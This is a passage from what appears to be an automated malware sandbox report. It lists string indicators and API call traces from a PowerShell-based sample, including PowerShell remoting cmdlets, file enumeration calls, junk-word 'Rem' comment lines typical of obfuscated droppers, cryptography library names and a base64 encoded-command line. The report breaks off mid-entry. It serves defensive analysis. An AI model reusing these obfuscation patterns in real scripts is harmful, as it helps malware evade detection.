"00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "Export-PSSession" (Indicator: "Export-PSSession"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "Connect-PSSession" (Indicator: "Connect-PSSession"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "Disconnect-PSSession" (Indicator: "Disconnect-PSSession"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "New-PSSession" (Indicator: "New-PSSession"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "Get-PSSession" (Indicator: "Get-PSSession"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "Remove-PSSession" (Indicator: "Remove-PSSession"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "Enter-PSSession" (Indicator: "Enter-PSSession"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "Receive-PSSession" (Indicator: "Receive-PSSession"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "Disable-PSSessionConfiguration" (Indicator: "Disable-PSSessionConfiguration"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "Enable-PSSessionConfiguration" (Indicator: "Enable-PSSessionConfiguration"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "Get-PSSessionCapability" (Indicator: "Get-PSSessionCapability"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "New-PSSessionOption" (Indicator: "New-PSSessionOption"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "Register-PSSessionConfiguration" (Indicator: "Register-PSSessionConfiguration"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "Set-PSSessionConfiguration" (Indicator: "Set-PSSessionConfiguration"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "Test-PSSessionConfigurationFile" (Indicator: "Test-PSSessionConfigurationFile"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "Unregister-PSSessionConfiguration" (Indicator: "Unregister-PSSessionConfiguration"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp")49:T8de,"powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00007432) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\\* (UID: 00000000-00007432) "powershell.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00007432) "powershell.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00007432) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00007432) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00007432) "powershell.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00007432) "powershell.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00007432) "powershell.exe" called "FindNextFileW" with parameter v3.0 (UID: 00000000-00007432) "powershell.exe" called "FindNextFileW" with parameter v3.5 (UID: 00000000-00007432) "powershell.exe" called "FindNextFileW" with parameter v4.0.30319 (UID: 00000000-00007432) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\* (UID: 00000000-00007432) "powershell.exe" called "FindNextFileW" with parameter fe2524177eb3088c77be666722039f52 (UID: 00000000-00007432) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\* (UID: 00000000-00007432) "powershell.exe" called "FindNextFileW" with parameter b5ba37e1558ced178a99011a1d659b52 (UID: 00000000-00007432) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\* (UID: 00000000-00007432) "powershell.exe" called "FindNextFileW" with parameter e43dd9c73ab5615e461bf5109c3facd6 (UID: 00000000-00007432) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\* (UID: 00000000-00007432) "powershell.exe" called "FindNextFileW" with parameter 0d59b0e237d7519417de10cd84bda4e7 (UID: 00000000-00007432) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\* (UID: 00000000-00007432)4a:T12fa,file/memory contains long string with (Indicator: "serpent"; File: "4574fb6323e861d9415d00bd4d031f8675f55382d1c3b6685c9de792fa6dd986.bin") file/memory contains long string with (Indicator: "aes"; File: "4574fb6323e861d9415d00bd4d031f8675f55382d1c3b6685c9de792fa6dd986.bin") Found string "Rem Daundered: serpentinizes, jadeship, khila35 hoodman: decapitating haandbog" (Indicator: "serpent"; File: "4574fb6323e861d9415d00bd4d031f8675f55382d1c3b6685c9de792fa6dd986.bin") Found string "Rem Predoctorate hydrolysate olivenolie sangfugles, fluming stjerneformes: klipfiskene coenaesthesis226; urfjeldet" (Indicator: "aes"; File: "4574fb6323e861d9415d00bd4d031f8675f55382d1c3b6685c9de792fa6dd986.bin") Found string "Rem Begreberne caracoa hardset? quaestio undethroned; bnkevarmerne93 reconsigning nedtrapper;" (Indicator: "aes"; File: "4574fb6323e861d9415d00bd4d031f8675f55382d1c3b6685c9de792fa6dd986.bin") Found string "Rem Praestomium; svimlende? thermocline: karikaturtegnere: tyllets saksnbens." (Indicator: "aes"; File: "4574fb6323e861d9415d00bd4d031f8675f55382d1c3b6685c9de792fa6dd986.bin") Found string "Rem Mandskor majoriseret; regenten112? zoonomical, sistency! nonaesthetical, betag" (Indicator: "aes"; File: "4574fb6323e861d9415d00bd4d031f8675f55382d1c3b6685c9de792fa6dd986.bin") Found string "Rem Teleskrivninger? snackens palaestras? hexandria: chainplate? timidly, misthrive136: hudflettelse? unsinking!" (Indicator: "aes"; File: "4574fb6323e861d9415d00bd4d031f8675f55382d1c3b6685c9de792fa6dd986.bin") Found string "Rem Equate. havocking: uddannelsessgendes: caesaropapist hverdagslivet186 drunkometer; doctrinal126 undulats! jagtreglementet:" (Indicator: "aes"; File: "4574fb6323e861d9415d00bd4d031f8675f55382d1c3b6685c9de792fa6dd986.bin") Found string "Rem Reclearance; arbejdstilbuddet overstterteknikkers siphonless39. caesaropapacy169? luksusjagthyttens sidebemrkningens pubs?" (Indicator: "aes"; File: "4574fb6323e861d9415d00bd4d031f8675f55382d1c3b6685c9de792fa6dd986.bin") Found string "System.IO.Compression.ZipFile" (Indicator: "zipfile"; File: "00000000-00006400.00000000.147073.00F21000.00000020.mdmp") Found string "Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00006400.00000000.147073.00520000.00000004.mdmp, 00000000-00006400.00000001.148995.00520000.00000004.mdmp, 00000000-00006400.00000001.148995.06E40000.00000004.mdmp, 00000000-00006400.00000002.150913.00520000.00000004.mdmp, 00000000-00006400.00000002.150913.06E40000.00000004.mdmp") Found string "System.IO.Compression.ZipFile" (Indicator: "zipfile"; Source: "00000000-00006400.00000000.147073.00F21000.00000020.mdmp") Found string "System.Security.Cryptography.Algorithms" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006400.00000000.147073.00F21000.00000020.mdmp") Found string "System.Security.Cryptography.Cng" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006400.00000000.147073.00F21000.00000020.mdmp") Found string "System.Security.Cryptography.Csp" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006400.00000000.147073.00F21000.00000020.mdmp") Found string "System.Security.Cryptography.Encoding" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006400.00000000.147073.00F21000.00000020.mdmp") Found string "System.Security.Cryptography.OpenSsl" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006400.00000000.147073.00F21000.00000020.mdmp") Found string "System.Security.Cryptography.Pkcs" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006400.00000000.147073.00F21000.00000020.mdmp") Found string "System.Security.Cryptography.Primitives" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006400.00000000.147073.00F21000.00000020.mdmp") Found string "System.Security.Cryptography.X509Certificates" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006400.00000000.147073.00F21000.00000020.mdmp") Found string "Switch.System.Security.Cryptography.DoNotAddrOfCspParentWindowHandle" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "Switch.System.Security.Cryptography.UseLegacyFipsThrow" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "$encodedCommand = [Convert]::ToBase64String($bytes)" (Indicator: "base64"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "$encodedCommand = [Convert]::ToBase64String($bytes)" (Indicator: "ToBase64String"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "[-WindowStyle